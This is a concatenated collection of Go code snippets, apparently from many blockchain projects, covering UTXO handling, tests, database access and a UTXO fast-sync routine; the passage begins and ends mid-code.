make([]int32, len(adds))\n\n\t// TODO don't ignore undoblock\n\t_, err = b.UtreexoBS.forest.Modify(adds, ud.AccProof.Targets)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &ud, nil\n}", "func (utxo UTXO) Bytes() []byte {\n\treturn nil\n}", "func (p IbcUTXOPacketData) GetBytes() ([]byte, error) {\n\tvar modulePacket MibcPacketData\n\n\tmodulePacket.Packet = &MibcPacketData_IbcUTXOPacket{&p}\n\n\treturn modulePacket.Marshal()\n}", "func TestUTXOs(t *testing.T) {\n\t// The various UTXO types to check:\n\t// 1. A valid UTXO in a mempool transaction\n\t// 2. A valid UTXO in a mined\n\t// 3. A UTXO that is invalid because it is non-existent\n\t// 4. A UTXO that is invalid because it has the wrong script type\n\t// 5. A UTXO that becomes invalid in a reorg\n\t// 6. A UTXO with a pay-to-script-hash for a 1-of-2 multisig redeem script\n\t// 7. A UTXO with a pay-to-script-hash for a 2-of-2 multisig redeem script\n\t// 8. A UTXO spending a pay-to-witness-pubkey-hash (P2WPKH) script.\n\t// 9. A UTXO spending a pay-to-witness-script-hash (P2WSH) 2-of-2 multisig\n\t// redeem script\n\t// 10. A UTXO from a coinbase transaction, before and after maturing.\n\n\t// Create a Backend with the test node.\n\tbtc, shutdown := testBackend(false)\n\tdefer shutdown()\n\n\t// The vout will be randomized during reset.\n\tconst txHeight = uint32(50)\n\n\t// A general reset function that clears the testBlockchain and the blockCache.\n\treset := func() {\n\t\tbtc.blockCache.mtx.Lock()\n\t\tdefer btc.blockCache.mtx.Unlock()\n\t\tcleanTestChain()\n\t\tnewBC := newBlockCache()\n\t\tbtc.blockCache.blocks = newBC.blocks\n\t\tbtc.blockCache.mainchain = newBC.mainchain\n\t\tbtc.blockCache.best = newBC.best\n\t}\n\n\t// CASE 1: A valid UTXO in a mempool transaction\n\treset()\n\ttxHash := randomHash()\n\tblockHash := randomHash()\n\tmsg := testMakeMsgTx(false)\n\t// For a regular test tx, the output is at output index 0. Pass nil for the\n\t// block hash and 0 for the block height and confirmations for a mempool tx.\n\ttxout := testAddTxOut(msg.tx, msg.vout, txHash, nil, 0, 0)\n\t// Set the value for this one.\n\ttxout.Value = 5.0\n\t// There is no block info to add, since this is a mempool transaction\n\tutxo, err := btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - unexpected error: %v\", err)\n\t}\n\t// While we're here, check the spend script size and value are correct.\n\tscriptSize := utxo.SpendSize()\n\twantScriptSize := uint32(dexbtc.TxInOverhead + 1 + dexbtc.RedeemP2PKHSigScriptSize)\n\tif scriptSize != wantScriptSize {\n\t\tt.Fatalf(\"case 1 - unexpected spend script size reported. expected %d, got %d\", wantScriptSize, scriptSize)\n\t}\n\tif utxo.Value() != 500_000_000 {\n\t\tt.Fatalf(\"case 1 - unexpected output value. expected 500,000,000, got %d\", utxo.Value())\n\t}\n\t// Now \"mine\" the transaction.\n\ttestAddBlockVerbose(blockHash, nil, 1, txHeight)\n\t// Overwrite the test blockchain transaction details.\n\ttestAddTxOut(msg.tx, 0, txHash, blockHash, int64(txHeight), 1)\n\t// \"mining\" the block should cause a reorg.\n\tconfs, err := utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - error retrieving confirmations after transaction \\\"mined\\\": %v\", err)\n\t}\n\tif confs != 1 {\n\t\t// The confirmation count is not taken from the wire.TxOut.Confirmations,\n\t\t// so check that it is correctly calculated based on height.\n\t\tt.Fatalf(\"case 1 - expected 1 confirmation after mining transaction, found %d\", confs)\n\t}\n\t// Make sure the pubkey spends the output.\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 1 - Auth error: %v\", err)\n\t}\n\n\t// CASE 2: A valid UTXO in a mined block. This UTXO will have non-zero\n\t// confirmations, a valid pkScipt\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 2 - unexpected error: %v\", err)\n\t}\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 2 - Auth error: %v\", err)\n\t}\n\n\t// CASE 3: A UTXO that is invalid because it is non-existent\n\treset()\n\t_, err = btc.utxo(randomHash(), 0, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 3 - received no error for a non-existent UTXO\")\n\t}\n\n\t// CASE 4: A UTXO that is invalid because it has the wrong script type.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\t// make the script nonsense.\n\tmsg.tx.TxOut[0].PkScript = []byte{0x00, 0x01, 0x02, 0x03}\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 4 - received no error for a UTXO with wrong script type\")\n\t}\n\n\t// CASE 5: A UTXO that becomes invalid in a reorg\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsg = testMakeMsgTx(false)\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - received error for utxo\")\n\t}\n\t_, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - received error before reorg\")\n\t}\n\ttestAddBlockVerbose(nil, nil, 1, txHeight)\n\t// Remove the txout from the blockchain, since bitcoind would no longer\n\t// return it.\n\ttestDeleteTxOut(txHash, msg.vout)\n\ttime.Sleep(blockPollDelay)\n\t_, err = utxo.Confirmations(context.Background())\n\tif err == nil {\n\t\tt.Fatalf(\"case 5 - received no error for orphaned transaction\")\n\t}\n\t// Now put it back in mempool and check again.\n\ttestAddTxOut(msg.tx, msg.vout, txHash, nil, 0, 0)\n\tconfs, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 5 - error checking confirmations on orphaned transaction back in mempool: %v\", err)\n\t}\n\tif confs != 0 {\n\t\tt.Fatalf(\"case 5 - expected 0 confirmations, got %d\", confs)\n\t}\n\n\t// CASE 6: A UTXO with a pay-to-script-hash for a 1-of-2 multisig redeem\n\t// script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig := testMsgTxP2SHMofN(1, 2, false)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\t// First try to get the UTXO without providing the raw script.\n\t_, err = btc.utxo(txHash, msgMultiSig.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"no error thrown for p2sh utxo when no script was provided\")\n\t}\n\t// Now provide the script.\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - received error for utxo: %v\", err)\n\t}\n\tconfs, err = utxo.Confirmations(context.Background())\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - error getting confirmations: %v\", err)\n\t}\n\tif confs != 1 {\n\t\tt.Fatalf(\"case 6 - expected 1 confirmation, got %d\", confs)\n\t}\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 6 - Auth error: %v\", err)\n\t}\n\n\t// CASE 7: A UTXO with a pay-to-script-hash for a 2-of-2 multisig redeem\n\t// script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig = testMsgTxP2SHMofN(2, 2, false)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 7 - received error for utxo: %v\", err)\n\t}\n\t// Try to get by with just one of the pubkeys.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err == nil {\n\t\tt.Fatalf(\"case 7 - no error when only provided one of two required pubkeys\")\n\t}\n\t// Now do both.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys, msgMultiSig.auth.sigs, msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 7 - Auth error: %v\", err)\n\t}\n\n\t// CASE 8: A UTXO spending a pay-to-witness-pubkey-hash (P2WPKH) script.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(true) // true - P2WPKH at vout 0\n\ttestAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 8 - unexpected error: %v\", err)\n\t}\n\t// Check that the segwit flag is set.\n\tif !utxo.scriptType.IsSegwit() {\n\t\tt.Fatalf(\"case 8 - script type parsed as non-segwit\")\n\t}\n\terr = utxo.Auth([][]byte{msg.auth.pubkey}, [][]byte{msg.auth.sig}, msg.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 8 - Auth error: %v\", err)\n\t}\n\n\t// CASE 9: A UTXO spending a pay-to-witness-script-hash (P2WSH) 2-of-2\n\t// multisig redeem script\n\treset()\n\ttxHash = randomHash()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\tmsgMultiSig = testMsgTxP2SHMofN(2, 2, true)\n\ttestAddTxOut(msgMultiSig.tx, msgMultiSig.vout, txHash, blockHash, int64(txHeight), 1)\n\tutxo, err = btc.utxo(txHash, msgMultiSig.vout, msgMultiSig.script)\n\tif err != nil {\n\t\tt.Fatalf(\"case 9 - received error for utxo: %v\", err)\n\t}\n\t// Check that the script is flagged segwit\n\tif !utxo.scriptType.IsSegwit() {\n\t\tt.Fatalf(\"case 9 - script type parsed as non-segwit\")\n\t}\n\t// Try to get by with just one of the pubkeys.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys[:1], msgMultiSig.auth.sigs[:1], msgMultiSig.auth.msg)\n\tif err == nil {\n\t\tt.Fatalf(\"case 9 - no error when only provided one of two required pubkeys\")\n\t}\n\t// Now do both.\n\terr = utxo.Auth(msgMultiSig.auth.pubkeys, msgMultiSig.auth.sigs, msgMultiSig.auth.msg)\n\tif err != nil {\n\t\tt.Fatalf(\"case 9 - Auth error: %v\", err)\n\t}\n\n\t// CASE 10: A UTXO from a coinbase transaction, before and after maturing.\n\treset()\n\tblockHash = testAddBlockVerbose(nil, nil, 1, txHeight)\n\ttxHash = randomHash()\n\tmsg = testMakeMsgTx(false)\n\ttxOut := testAddTxOut(msg.tx, msg.vout, txHash, blockHash, int64(txHeight), 1)\n\ttxOut.Coinbase = true\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err == nil {\n\t\tt.Fatalf(\"case 10 - no error for immature transaction\")\n\t}\n\tif !errors.Is(err, immatureTransactionError) {\n\t\tt.Fatalf(\"case 10 - expected immatureTransactionError, got: %v\", err)\n\t}\n\t// Mature the transaction\n\tmaturity := uint32(testParams.CoinbaseMaturity)\n\ttestAddBlockVerbose(nil, nil, 1, txHeight+maturity-1)\n\ttxOut.Confirmations = int64(maturity)\n\ttime.Sleep(blockPollDelay)\n\t_, err = btc.utxo(txHash, msg.vout, nil)\n\tif err != nil {\n\t\tt.Fatalf(\"case 10 - unexpected error after maturing: %v\", err)\n\t}\n\n\t// CASE 11: A swap contract\n\tval := int64(5)\n\tcleanTestChain()\n\ttxHash = randomHash()\n\tblockHash = randomHash()\n\tswap := testMsgTxSwapInit(val, btc.segwit)\n\ttestAddBlockVerbose(blockHash, nil, 1, txHeight)\n\tbtcVal := btcutil.Amount(val).ToBTC()\n\ttestAddTxOut(swap.tx, 0, txHash, blockHash, int64(txHeight), 1).Value = btcVal\n\tverboseTx := testChain.txRaws[*txHash]\n\n\tspentTxHash := randomHash()\n\tverboseTx.Vin = append(verboseTx.Vin, testVin(spentTxHash, 0))\n\t// We need to add that transaction to the blockchain too, because it will\n\t// be requested for the previous outpoint value.\n\tspentMsg := testMakeMsgTx(false)\n\tspentTx := testAddTxVerbose(spentMsg.tx, spentTxHash, blockHash, 2)\n\tspentTx.Vout = []btcjson.Vout{testVout(1, nil)}\n\tswapOut := swap.tx.TxOut[0]\n\tbtcVal = btcutil.Amount(swapOut.Value).ToBTC()\n\tverboseTx.Vout = append(verboseTx.Vout, testVout(btcVal, swapOut.PkScript))\n\tutxo, err = btc.utxo(txHash, 0, swap.contract)\n\tif err != nil {\n\t\tt.Fatalf(\"case 11 - received error for utxo: %v\", err)\n\t}\n\n\tcontract := &Contract{Output: utxo.Output}\n\n\t// Now try again with the correct vout.\n\terr = btc.auditContract(contract) // sets refund and swap addresses\n\tif err != nil {\n\t\tt.Fatalf(\"case 11 - unexpected error auditing contract: %v\", err)\n\t}\n\tif contract.SwapAddress() != swap.recipient.String() {\n\t\tt.Fatalf(\"case 11 - wrong recipient. wanted '%s' got '%s'\", contract.SwapAddress(), swap.recipient.String())\n\t}\n\tif contract.RefundAddress() != swap.refund.String() {\n\t\tt.Fatalf(\"case 11 - wrong recipient. wanted '%s' got '%s'\", contract.RefundAddress(), swap.refund.String())\n\t}\n\tif contract.Value() != 5 {\n\t\tt.Fatalf(\"case 11 - unexpected output value. wanted 5, got %d\", contract.Value())\n\t}\n}", "func NewUtxoWrap(\n\taddrHash *types.AddressHash, height uint32, value uint64,\n) *types.UtxoWrap {\n\taddrPkh, _ := types.NewAddressPubKeyHash(addrHash[:])\n\taddrScript := *script.PayToPubKeyHashScript(addrPkh.Hash())\n\treturn types.NewUtxoWrap(value, addrScript, height)\n}", "func newUtxoViewpoint(sourceTxns []*wire.MsgTx, sourceTxHeights []int32) *blockchain.UtxoViewpoint {\n\tif len(sourceTxns) != len(sourceTxHeights) {\n\t\tpanic(\"each transaction must have its block height specified\")\n\t}\n\n\tview := blockchain.NewUtxoViewpoint()\n\tfor i, tx := range sourceTxns {\n\t\tview.AddTxOuts(btcutil.NewTx(tx), sourceTxHeights[i])\n\t}\n\treturn view\n}", "func (db *STXOsDB) FromUTXO(outPoint *OutPoint, spendTxId *Uint256, spendHeight uint32) error {\n\tdb.Lock()\n\tdefer db.Unlock()\n\n\ttx, err := db.Begin()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsql := `INSERT OR REPLACE INTO STXOs(OutPoint, Value, LockTime, AtHeight, ScriptHash, SpendHash, SpendHeight)\n\t\t\tSELECT UTXOs.OutPoint, UTXOs.Value, UTXOs.LockTime, UTXOs.AtHeight, UTXOs.ScriptHash, ?, ? FROM UTXOs\n\t\t\tWHERE OutPoint=?`\n\t_, err = tx.Exec(sql, spendTxId.Bytes(), spendHeight, outPoint.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = tx.Exec(\"DELETE FROM UTXOs WHERE OutPoint=?\", outPoint.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn tx.Commit()\n}", "func NewUTXO(output TxOutput, height uint) UTXO {\n\treturn UTXO{output, height, \"\"}\n}", "func (f *FakeUtxoVM) UtxoWorkWithLedgerBasic(t *testing.T) {\n\tutxoVM, ledger := f.U, f.L\n\t//创建链的时候分配财富\n\ttx, err := GenerateRootTx([]byte(`\n {\n \"version\" : \"1\"\n , \"consensus\" : {\n \"miner\" : \"0x00000000000\"\n }\n , \"predistribution\":[\n {\n \"address\" : \"` + f.BobAddress + `\",\n \"quota\" : \"10000000000000000\"\n },\n\t\t\t\t{\n \"address\" : \"` + f.AliceAddress + `\",\n \"quota\" : \"20000000000000000\"\n }\n\n ]\n , \"maxblocksize\" : \"128\"\n , \"period\" : \"5000\"\n , \"award\" : \"1\"\n\t\t} \n `))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tblock, _ := ledger.FormatRootBlock([]*pb.Transaction{tx})\n\tt.Logf(\"blockid %x\", block.Blockid)\n\tconfirmStatus := ledger.ConfirmBlock(block, true)\n\tif !confirmStatus.Succ {\n\t\tt.Fatal(\"confirm block fail\")\n\t}\n\tplayErr := utxoVM.Play(block.Blockid)\n\tif playErr != nil {\n\t\tt.Fatal(playErr)\n\t}\n\tbobBalance, _ := utxoVM.GetBalance(f.BobAddress)\n\taliceBalance, _ := utxoVM.GetBalance(f.AliceAddress)\n\tt.Logf(\"bob balance: %s, alice balance: %s\", bobBalance.String(), aliceBalance.String())\n\trootBlockid := block.Blockid\n\tt.Logf(\"rootBlockid: %x\", rootBlockid)\n\t//bob再给alice转5\n\tnextBlock, _, _, blockErr := f.Transfer(\"bob\", \"alice\", t, \"5\", rootBlockid, []byte(\"\"), 0)\n\tnextBlockid := nextBlock.Blockid\n\tif blockErr != nil {\n\t\tt.Fatal(blockErr)\n\t} else {\n\t\tt.Logf(\"next block id: %x\", nextBlockid)\n\t}\n\tutxoVM.Play(nextBlockid)\n\tbobBalance, _ = utxoVM.GetBalance(f.BobAddress)\n\taliceBalance, _ = utxoVM.GetBalance(f.AliceAddress)\n\tt.Logf(\"bob balance: %s, alice balance: %s\", bobBalance.String(), aliceBalance.String())\n\t//bob再给alice转6\n\tnextBlock, _, _, blockErr = f.Transfer(\"bob\", \"alice\", t, \"6\", nextBlockid, []byte(\"\"), 0)\n\tif blockErr != nil {\n\t\tt.Fatal(blockErr)\n\t} else {\n\t\tt.Logf(\"next block id: %x\", nextBlockid)\n\t}\n\tnextBlockid = nextBlock.Blockid\n\tutxoVM.Play(nextBlockid)\n\tbobBalance, _ = utxoVM.GetBalance(f.BobAddress)\n\taliceBalance, _ = utxoVM.GetBalance(f.AliceAddress)\n\tt.Logf(\"bob balance: %s, alice balance: %s\", bobBalance.String(), aliceBalance.String())\n}", "func (utxos *UtxoStore) FindUtxo(pubKeyHash []byte) []TxOutput {\n\tvar res []TxOutput\n\tchain := utxos.Chain\n\tbucket := []byte(chain.config.GetDbUtxoBucket())\n\terr := chain.db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(bucket))\n\t\tc := b.Cursor()\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\touts := DeserializeOutputs(v)\n\t\t\tfor _, out := range outs {\n\t\t\t\tif out.CanOutputBeUnlocked(pubKeyHash) {\n\t\t\t\t\tres = append(res, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn res\n}", "func (w *Wallet) GetUTXO(s *aklib.DBConfig, pwd []byte, isPublic bool) ([]*tx.UTXO, uint64, error) {\n\tvar bal uint64\n\tvar utxos []*tx.UTXO\n\tadrmap := w.AddressChange\n\tif isPublic {\n\t\tadrmap = w.AddressPublic\n\t}\n\tfor adrname := range adrmap {\n\t\tlog.Println(adrname)\n\t\tadr := &Address{\n\t\t\tAdrstr: adrname,\n\t\t}\n\t\tif pwd != nil {\n\t\t\tvar err error\n\t\t\tadr, err = w.GetAddress(s, adrname, pwd)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\t\t}\n\t\ths, err := imesh.GetHisoty2(s, adrname, true)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tfor _, h := range hs {\n\t\t\tswitch h.Type {\n\t\t\tcase tx.TypeOut:\n\t\t\t\ttr, err := imesh.GetTxInfo(s.DB, h.Hash)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, 0, err\n\t\t\t\t}\n\t\t\t\toutstat := tr.OutputStatus[0][h.Index]\n\t\t\t\tif !tr.IsAccepted() ||\n\t\t\t\t\t(outstat.IsReferred || outstat.IsSpent || outstat.UsedByMinable != nil) {\n\t\t\t\t\tlog.Println(h.Hash, outstat.IsReferred, outstat.IsSpent, outstat.UsedByMinable)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tu := &tx.UTXO{\n\t\t\t\t\tAddress: adr,\n\t\t\t\t\tValue: tr.Body.Outputs[h.Index].Value,\n\t\t\t\t\tInoutHash: h,\n\t\t\t\t}\n\t\t\t\tutxos = append(utxos, u)\n\t\t\t\tbal += u.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn utxos, bal, nil\n}", "func (c *client) getUtxos(ctx context.Context, address string, confirmations int64) (map[string]it.AddressTxnOutput, error) {\n\tvar utxos []it.AddressTxnOutput\n\turl := c.cfg.insight + \"/addr/\" + address + \"/utxo\"\n\n\tresp, err := c.httpRequest(ctx, url, 5*time.Second)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(resp, &utxos)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Tracef(\"%v\", spew.Sdump(utxos))\n\n\tu := make(map[string]it.AddressTxnOutput, len(utxos))\n\tfor k := range utxos {\n\t\tif utxos[k].Confirmations < confirmations {\n\t\t\tcontinue\n\t\t}\n\t\ttxID := utxos[k].TxnID\n\t\tif _, ok := u[txID]; ok {\n\t\t\treturn nil, fmt.Errorf(\"duplicate tx ud: %v\", txID)\n\t\t}\n\t\tu[txID] = utxos[k]\n\n\t}\n\n\treturn u, nil\n}", "func (uview *UtreexoViewpoint) Modify(ub *btcutil.UBlock) error {\n\t// Grab all the sstxo indexes of the same block spends\n\t// inskip is all the txIns that reference a txOut in the same block\n\t// outskip is all the txOuts that are referenced by a txIn in the same block\n\tinskip, outskip := ub.Block().DedupeBlock()\n\n\t// grab the \"nl\" (numLeaves) which is number of all the utxos currently in the\n\t// utreexo accumulator. h is the height of the utreexo accumulator\n\tnl, h := uview.accumulator.ReconstructStats()\n\n\t// ProofSanity checks the consistency of a UBlock. It checks that there are\n\t// enough proofs for all the referenced txOuts and that the these proofs are\n\t// for that txOut\n\terr := ub.ProofSanity(inskip, nl, h)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// IngestBatchProof first checks that the utreexo proofs are valid. If it is valid,\n\t// it readys the utreexo accumulator for additions/deletions.\n\terr = uview.accumulator.IngestBatchProof(ub.UData().AccProof)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Remember is used to keep some utxos that will be spent in the near future\n\t// so that the node won't have to re-download those UTXOs over the wire.\n\tremember := make([]bool, len(ub.UData().TxoTTLs))\n\tfor i, ttl := range ub.UData().TxoTTLs {\n\t\t// If the time-to-live value is less than the chosen amount of blocks\n\t\t// then remember it.\n\t\tremember[i] = ttl < uview.accumulator.Lookahead\n\t}\n\n\t// Make the now verified utxos into 32 byte leaves ready to be added into the\n\t// utreexo accumulator.\n\tleaves := BlockToAddLeaves(ub.Block(), remember, outskip, ub.UData().Height)\n\n\t// Add the utxos into the accumulator\n\terr = uview.accumulator.Modify(leaves, ub.UData().AccProof.Targets)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func CreateUnspents(bh BlockHeader, tx Transaction) UxArray {\n\tvar h cipher.SHA256\n\tif bh.BkSeq != 0 {\n\t\t// not genesis block\n\t\th = tx.Hash()\n\t}\n\tuxo := make(UxArray, len(tx.Out))\n\tfor i := range tx.Out {\n\t\tuxo[i] = UxOut{\n\t\t\tHead: UxHead{\n\t\t\t\tTime: bh.Time,\n\t\t\t\tBkSeq: bh.BkSeq,\n\t\t\t},\n\t\t\tBody: UxBody{\n\t\t\t\tSrcTransaction: h,\n\t\t\t\tAddress: tx.Out[i].Address,\n\t\t\t\tCoins: tx.Out[i].Coins,\n\t\t\t\tHours: tx.Out[i].Hours,\n\t\t\t},\n\t\t}\n\t}\n\treturn uxo\n}", "func (o OceanOutput) UserData() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *Ocean) pulumi.StringPtrOutput { return v.UserData }).(pulumi.StringPtrOutput)\n}", "func (db *STXOsDB) Get(outPoint *OutPoint) (*STXO, error) {\n\tdb.RLock()\n\tdefer db.RUnlock()\n\n\tsql := `SELECT Value, LockTime, AtHeight, SpendHash, SpendHeight FROM STXOs WHERE OutPoint=?`\n\trow := db.QueryRow(sql, outPoint.Bytes())\n\tvar valueBytes []byte\n\tvar lockTime uint32\n\tvar atHeight uint32\n\tvar spendHashBytes []byte\n\tvar spendHeight uint32\n\terr := row.Scan(&valueBytes, &lockTime, &atHeight, &spendHashBytes, &spendHeight)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar value *Fixed64\n\tvalue, err = Fixed64FromBytes(valueBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar utxo = UTXO{Op: *outPoint, Value: *value, LockTime: lockTime, AtHeight: atHeight}\n\tspendHash, err := Uint256FromBytes(spendHashBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &STXO{UTXO: utxo, SpendTxId: *spendHash, SpendHeight: spendHeight}, nil\n}", "func (chain *BlockChain) FindUTxO(address string) []TxOutput {\n\tvar UTxOs []TxOutput\n\n\tunspentTransaction := chain.FindUnspentTransactions(address)\n\n\tfor _, tx := range unspentTransaction {\n\t\tfor _, out := range tx.Outputs {\n\t\t\tif out.CanBeUnlocked(address) {\n\t\t\t\tUTxOs = append(UTxOs, out)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn UTxOs\n}", "func MakePbUtxo(op *types.OutPoint, uw *types.UtxoWrap) *rpcpb.Utxo {\n\ts := script.NewScriptFromBytes(uw.Script())\n\tvalue := uw.Value()\n\tif s.IsTokenIssue() || s.IsTokenTransfer() {\n\t\tvalue = 0\n\t}\n\treturn &rpcpb.Utxo{\n\t\tBlockHeight: uw.Height(),\n\t\t// IsCoinbase: uw.IsCoinBase(),\n\t\tIsSpent: uw.IsSpent(),\n\t\tOutPoint: NewPbOutPoint(&op.Hash, op.Index),\n\t\tTxOut: &corepb.TxOut{\n\t\t\tValue: value,\n\t\t\tScriptPubKey: uw.Script(),\n\t\t},\n\t}\n}", "func FindUtxo(ctx context.Context, exec boil.ContextExecutor, rowid int, selectCols ...string) (*Utxo, error) {\n\tutxoObj := &Utxo{}\n\n\tsel := \"*\"\n\tif len(selectCols) > 0 {\n\t\tsel = strings.Join(strmangle.IdentQuoteSlice(dialect.LQ, dialect.RQ, selectCols), \",\")\n\t}\n\tquery := fmt.Sprintf(\n\t\t\"select %s from \\\"utxo\\\" where \\\"rowid\\\"=$1\", sel,\n\t)\n\n\tq := queries.Raw(query, rowid)\n\n\terr := q.Bind(ctx, exec, utxoObj)\n\tif err != nil {\n\t\tif errors.Cause(err) == sql.ErrNoRows {\n\t\t\treturn nil, sql.ErrNoRows\n\t\t}\n\t\treturn nil, errors.Wrap(err, \"models: unable to select from utxo\")\n\t}\n\n\treturn utxoObj, nil\n}", "func (b *BlockChain) fastSyncUtxoSet(checkpoint *chaincfg.Checkpoint, proxyAddr string) error {\n\tnumWorkers := runtime.NumCPU() * 3\n\n\t// If the UTXO set is already caught up with the last checkpoint then\n\t// we can just close the done chan and exit.\n\tif b.utxoCache.lastFlushHash.IsEqual(checkpoint.Hash) {\n\t\tclose(b.fastSyncDone)\n\t\treturn nil\n\t}\n\n\tif checkpoint.UtxoSetHash == nil {\n\t\treturn AssertError(\"cannot perform fast sync with nil UTXO set hash\")\n\t}\n\tif len(checkpoint.UtxoSetSources) == 0 {\n\t\treturn AssertError(\"no UTXO download sources provided\")\n\t}\n\tif checkpoint.UtxoSetSize == 0 {\n\t\treturn AssertError(\"expected UTXO set size is zero\")\n\t}\n\tvar proxy *socks.Proxy\n\tif proxyAddr != \"\" {\n\t\tproxy = &socks.Proxy{Addr: proxyAddr}\n\t}\n\n\tfileName, err := downloadUtxoSet(checkpoint.UtxoSetSources, proxy, b.fastSyncDataDir)\n\tif err != nil {\n\t\tlog.Errorf(\"Error downloading UTXO set: %s\", err.Error())\n\t\treturn err\n\t}\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\tlog.Errorf(\"Error opening temp UTXO file: %s\", err.Error())\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tfile.Close()\n\t\tos.Remove(fileName)\n\t}()\n\n\tvar (\n\t\tmaxScriptLen = uint32(1000000)\n\t\tbuf52 = make([]byte, 52)\n\t\tpkScript []byte\n\t\tserializedUtxo []byte\n\t\tn int\n\t\ttotalRead int\n\t\tscriptLen uint32\n\t\tprogress float64\n\t\tprogressStr string\n\t)\n\n\tticker := time.NewTicker(time.Minute * 5)\n\tdefer ticker.Stop()\n\tgo func() {\n\t\tfor range ticker.C {\n\t\t\tprogress = math.Min(float64(totalRead)/float64(checkpoint.UtxoSetSize), 1.0) * 100\n\t\t\tprogressStr = fmt.Sprintf(\"%d/%d MiB (%.2f%%)\", totalRead/(1024*1024)+1, checkpoint.UtxoSetSize/(1024*1024)+1, progress)\n\t\t\tlog.Infof(\"UTXO verification progress: processed %s\", progressStr)\n\t\t}\n\t}()\n\n\tresultsChan := make(chan *result)\n\tjobsChan := make(chan []byte)\n\tfor i := 0; i < numWorkers; i++ {\n\t\tgo worker(b.utxoCache, jobsChan, resultsChan)\n\t}\n\n\t// In this loop we're going read each serialized UTXO off the 